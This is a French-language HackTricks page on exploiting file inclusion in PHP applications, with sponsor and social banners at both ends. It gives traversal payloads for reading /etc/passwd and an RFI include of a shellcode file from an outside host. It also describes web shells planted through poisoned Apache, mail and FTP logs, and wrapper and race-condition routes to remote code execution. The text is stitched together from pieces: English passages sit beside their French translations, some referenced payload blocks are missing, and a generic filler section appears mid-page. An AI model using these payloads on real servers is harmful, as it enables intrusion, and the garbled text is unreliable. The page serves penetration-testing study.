* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Les primes HackenProof sont lancées uniquement lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
**Inclusion de fichiers distants (RFI) :** Le fichier est chargé à partir d'un serveur distant (idéal : vous pouvez écrire le code et le serveur l'exécutera). En PHP, cela est **désactivé** par défaut (**allow\_url\_include**).\
Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (afin de vérifier si la vulnérabilité existe) peut être trouvée [ici](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (afin de vérifier si la vulnérabilité existe) peut être trouvée [ici](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
Tous les exemples sont pour l'inclusion de fichiers locaux, mais peuvent également être appliqués à l'inclusion de fichiers distants (page=[http://monserveur.com/phpshellcode.txt\\](http://monserveur.com/phpshellcode.txt\)/).
When performing file inclusion attacks, it is common to use traversal sequences to access files outside of the intended directory. However, in some cases, the application may strip these traversal sequences in a non-recursive manner.
Lors de l'exécution d'attaques d'inclusion de fichiers, il est courant d'utiliser des séquences de traversée pour accéder à des fichiers en dehors du répertoire prévu. Cependant, dans certains cas, l'application peut supprimer ces séquences de traversée de manière non récursive.
For example, let's say the application replaces "../" with an empty string. If we provide the input "../../../../etc/passwd", the application will strip the "../" part, resulting in "etc/passwd". This can limit the effectiveness of traditional traversal sequences.
Par exemple, supposons que l'application remplace "../" par une chaîne vide. Si nous fournissons l'entrée "../../../../etc/passwd", l'application supprimera la partie "../", ce qui donnera "etc/passwd". Cela peut limiter l'efficacité des séquences de traversée traditionnelles.
To bypass this non-recursive stripping, we can use alternative traversal sequences that are not affected by the application's filtering. For instance, we can try using encoded characters or different representations of traversal sequences.
Pour contourner cette suppression non récursive, nous pouvons utiliser des séquences de traversée alternatives qui ne sont pas affectées par le filtrage de l'application. Par exemple, nous pouvons essayer d'utiliser des caractères encodés ou des représentations différentes des séquences de traversée.
By experimenting with different traversal sequences, we can potentially find a sequence that the application does not strip, allowing us to access files outside of the intended directory.
En expérimentant avec différentes séquences de traversée, nous pouvons potentiellement trouver une séquence que l'application ne supprime pas, ce qui nous permet d'accéder à des fichiers en dehors du répertoire prévu.
Selon le code applicatif / les caractères autorisés, il est possible d'explorer de manière récursive le système de fichiers en découvrant les dossiers et pas seulement les fichiers. Pour ce faire :
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
* si l'application est vulnérable, il peut y avoir deux résultats différents pour la requête :
* si vous obtenez une erreur / aucune sortie, le dossier `private` n'existe pas à cet emplacement
* si vous obtenez le contenu de `/etc/passwd`, vous avez confirmé qu'il y a effectivement un dossier `private` dans votre répertoire actuel
* les dossiers que vous avez découverts en utilisant cette technique peuvent ensuite être fuzzés pour les fichiers (en utilisant une méthode LFI classique) ou pour les sous-répertoires en utilisant la même technique de manière récursive.
Il est possible d'adapter cette technique pour trouver des répertoires à n'importe quel emplacement dans le système de fichiers. Par exemple, si, dans la même hypothèse (répertoire actuel à une profondeur de 3 dans le système de fichiers), vous souhaitez vérifier si `/var/www/` contient un répertoire `private`, utilisez la charge utile suivante :
La séquence de commandes suivante permet de générer des charges utiles en utilisant `sed` (1) comme entrée pour les outils de fuzzing d'URL tels que `ffuf` (2) :
$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
En PHP, cela est désactivé par défaut car **`allow_url_include`** est **Off**. Il doit être **On** pour que cela fonctionne, et dans ce cas, vous pouvez inclure un fichier PHP depuis votre serveur et obtenir une RCE (exécution de code à distance) :
Si, pour une raison quelconque, **`allow_url_include`** est **activé**, mais que PHP **filtre** l'accès aux pages web externes, [selon cet article](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), vous pouvez utiliser par exemple le protocole de données avec base64 pour décoder un code PHP en base64 et obtenir une RCE :
Dans le code précédent, le `+.txt` final a été ajouté car l'attaquant avait besoin d'une chaîne se terminant par `.txt`, de sorte que la chaîne se termine avec cela et après le décodage b64, cette partie ne renverra que des données indésirables et le vrai code PHP sera inclus (et donc, exécuté).
Il semble que si vous avez une traversée de chemin dans Java et que vous **demandez un répertoire** au lieu d'un fichier, une **liste du répertoire est renvoyée**. Cela ne se produira pas dans d'autres langages (à ma connaissance).
Voici une liste des 25 principaux paramètres qui pourraient être vulnérables aux vulnérabilités d'inclusion de fichiers locaux (LFI) (à partir de [ce lien](https://twitter.com/trbughunters/status/1279768631845494787)) :
Les filtres PHP permettent d'effectuer des opérations de **modification de base sur les données** avant leur lecture ou leur écriture. Il existe 5 catégories de filtres :
*`convert.iconv.*` : Transforme en une autre encodage (`convert.iconv.<input_enc>.<output_enc>`). Pour obtenir la **liste de tous les encodages** pris en charge, exécutez la commande suivante dans la console : `iconv -l`
En abusant du filtre de conversion `convert.iconv.*`, vous pouvez **générer du texte arbitraire**, ce qui peut être utile pour écrire du texte arbitraire ou exécuter une fonction comme include avec du texte arbitraire. Pour plus d'informations, consultez [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
Ce wrapper permet d'accéder aux descripteurs de fichiers ouverts par le processus. Potentiellement utile pour exfiltrer le contenu des fichiers ouverts :
Vous pouvez également utiliser **php://stdin, php://stdout et php://stderr** pour accéder respectivement aux **descripteurs de fichiers 0, 1 et 2** (je ne suis pas sûr de l'utilité de cela dans une attaque)
La technique d'inclusion de fichiers est une vulnérabilité courante dans les applications Web qui permet à un attaquant d'inclure des fichiers distants dans le code source de l'application. Cela peut entraîner l'exécution de code arbitraire, la divulgation d'informations sensibles ou d'autres attaques.
La vulnérabilité d'inclusion de fichiers peut être exploitée de différentes manières, notamment en utilisant des paramètres d'URL, des cookies, des en-têtes HTTP ou d'autres entrées utilisateur. L'attaquant peut manipuler ces entrées pour inclure des fichiers distants, tels que des fichiers système sensibles ou des fichiers de configuration contenant des informations sensibles.
Pour exploiter cette vulnérabilité, l'attaquant doit identifier les points d'inclusion de fichiers dans l'application cible. Cela peut être fait en analysant le code source de l'application ou en utilisant des outils d'analyse automatisés. Une fois les points d'inclusion de fichiers identifiés, l'attaquant peut tester différentes techniques d'inclusion de fichiers pour déterminer si la vulnérabilité peut être exploitée.
Il existe plusieurs techniques courantes d'inclusion de fichiers, telles que l'inclusion de fichiers locaux, l'inclusion de fichiers distants et l'inclusion de fichiers basée sur des paramètres d'URL. Chaque technique a ses propres particularités et peut nécessiter des approches différentes pour l'exploitation.
Pour se protéger contre les attaques d'inclusion de fichiers, il est important de mettre en œuvre des mesures de sécurité appropriées, telles que la validation et la désinfection des entrées utilisateur, la limitation des droits d'accès aux fichiers et la configuration sécurisée des paramètres du serveur. Les tests de pénétration réguliers peuvent également aider à identifier et à corriger les vulnérabilités d'inclusion de fichiers dans les applications Web.
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
Note that this protocol is restricted by php configurations **`allow_url_open`** and **`allow_url_include`**
### expect://
Expect has to be activated. You can execute code using this.
---
**Traduction en français :**
Fun fact : vous pouvez déclencher une XSS et contourner l'auditeur Chrome avec : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
Si la LFI se contente de lire le fichier et de ne pas exécuter le code PHP à l'intérieur, par exemple en utilisant des fonctions telles que _**file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**_**. Vous pouvez essayer d'exploiter une **désérialisation** qui se produit lors de la **lecture** d'un **fichier** en utilisant le protocole **phar**.\
Pour plus d'informations, lisez l'article suivant :
* [php://memory et php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Écrire en mémoire ou dans un fichier temporaire (je ne suis pas sûr de l'utilité de cela dans une attaque d'inclusion de fichier)
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Recherche de noms de fichiers correspondant à un motif (ne renvoie rien de lisible, donc pas vraiment utile ici)
Si vous rencontrez une LFI difficile qui semble filtrer les chaînes de traversée telles que ".." et répondre avec quelque chose du genre "Tentative de piratage" ou "Belle tentative !", une charge utile d'injection 'assert' peut fonctionner.
Les primes HackenProof ne sont lancées que lorsque leurs clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
Cette technique est pertinente dans les cas où vous **contrôlez** le **chemin du fichier** d'une **fonction PHP** qui accédera à un fichier mais dont le contenu ne sera pas affiché (comme un simple appel à **`file()`**) mais le contenu n'est pas affiché.
Dans [**cet incroyable article**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html), il est expliqué comment une traversée de chemin aveugle peut être exploitée via un filtre PHP pour **exfiltrer le contenu d'un fichier via un oracle d'erreur**.
En résumé, la technique utilise le codage **"UCS-4LE"** pour rendre le contenu d'un fichier si **volumineux** que la **fonction PHP d'ouverture** du fichier déclenchera une **erreur**.
Ensuite, pour divulguer le premier caractère, le filtre **`dechunk`** est utilisé avec d'autres filtres tels que **base64** ou **rot13**, et enfin les filtres **convert.iconv.UCS-4.UCS-4LE** et **convert.iconv.UTF16.UTF-16BE** sont utilisés pour **placer d'autres caractères au début et les divulguer**.
Si le serveur Apache ou Nginx est **vulnérable à LFI** à l'intérieur de la fonction d'inclusion, vous pouvez essayer d'accéder à **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, en définissant à l'intérieur de l'**agent utilisateur** ou à l'intérieur d'un **paramètre GET** une coquille PHP comme **`<?php system($_GET['c']); ?>`** et inclure ce fichier
Notez que **si vous utilisez des guillemets doubles** pour la coquille au lieu de **guillemets simples**, les guillemets doubles seront modifiés pour la chaîne "_**quote;**_", **PHP générera une erreur** à cet endroit et **rien d'autre ne sera exécuté**.
De plus, assurez-vous d'**écrire correctement la charge utile** ou PHP générera une erreur à chaque fois qu'il essaiera de charger le fichier journal et vous n'aurez pas de deuxième chance.
Cela pourrait également être fait dans d'autres journaux, mais **soyez prudent**, le code à l'intérieur des journaux pourrait être encodé en URL et cela pourrait détruire la coquille. L'en-tête **authorisation "basic"** contient "user:password" en Base64 et il est décodé à l'intérieur des journaux. La coquille PHP pourrait être insérée à l'intérieur de cet en-tête.\
Liste de mots pour le fuzzing : [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
**Envoyez un courrier électronique** à un compte interne (user@localhost) contenant votre charge utile PHP comme `<?php echo system($_REQUEST["cmd"]); ?>` et essayez de l'inclure dans le courrier de l'utilisateur avec un chemin comme **`/var/mail/<NOM_UTILISATEUR>`** ou **`/var/spool/mail/<NOM_UTILISATEUR>`**
1. Téléchargez de nombreux shells (par exemple : 100)
2. Incluez [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), avec $PID = PID du processus (peut être obtenu par force brute) et $FD le descripteur de fichier (peut également être obtenu par force brute)
Si vous pouvez télécharger un fichier, injectez simplement la charge utile de l'interpréteur de commandes dedans (par exemple : `<?php system($_GET['c']); ?>`).
Les journaux de ce serveur FTP sont stockés dans _**/var/log/vsftpd.log.**_ Si vous avez une LFI et pouvez accéder à un serveur vsftpd exposé, vous pouvez essayer de vous connecter en définissant la charge utile PHP dans le nom d'utilisateur, puis accéder aux journaux en utilisant la LFI.
comme indiqué dans [cet](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, le filtre PHP base64 ignore simplement les caractères non base64. Vous pouvez l'utiliser pour contourner la vérification de l'extension de fichier : si vous fournissez une base64 qui se termine par ".php", il ignorera simplement le "." et ajoutera "php" à la base64. Voici un exemple de charge utile :
Ce [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser les **filtres php pour générer du contenu arbitraire** en sortie. Cela signifie essentiellement que vous pouvez **générer du code php arbitraire** pour l'inclusion **sans avoir besoin de l'écrire** dans un fichier.
**Téléchargez** un fichier qui sera stocké de manière **temporaire** dans `/tmp`, puis dans la **même requête**, déclenchez une **erreur de segmentation**, et ensuite le **fichier temporaire ne sera pas supprimé** et vous pourrez le rechercher.
Si vous avez trouvé une **inclusion de fichier local** et que **Nginx** est en cours d'exécution devant PHP, vous pourriez être en mesure d'obtenir une RCE avec la technique suivante :
Si vous avez trouvé une **inclusion de fichier local**, même si vous **n'avez pas de session** et que `session.auto_start` est `Off`. Si vous fournissez **`PHP_SESSION_UPLOAD_PROGRESS`** dans les données **multipart POST**, PHP **activera la session pour vous**. Vous pourriez exploiter cela pour obtenir une RCE :
Si vous avez trouvé une **inclusion de fichier local** et que vous **pouvez exfiltrer le chemin** du fichier temporaire MAIS que le **serveur** vérifie si le **fichier à inclure contient des marques PHP**, vous pouvez essayer de **contourner cette vérification** avec cette **condition de course** :
Si vous pouvez exploiter l'inclusion de fichier local pour **télécharger des fichiers temporaires** et faire **suspendre** l'exécution PHP du serveur, vous pouvez ensuite **forcer la recherche de noms de fichiers pendant des heures** pour trouver le fichier temporaire :
Si vous incluez l'un des fichiers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Vous devez inclure le même fichier 2 fois pour provoquer cette erreur).
Les primes HackenProof sont lancées uniquement lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bogue.
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PRs au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).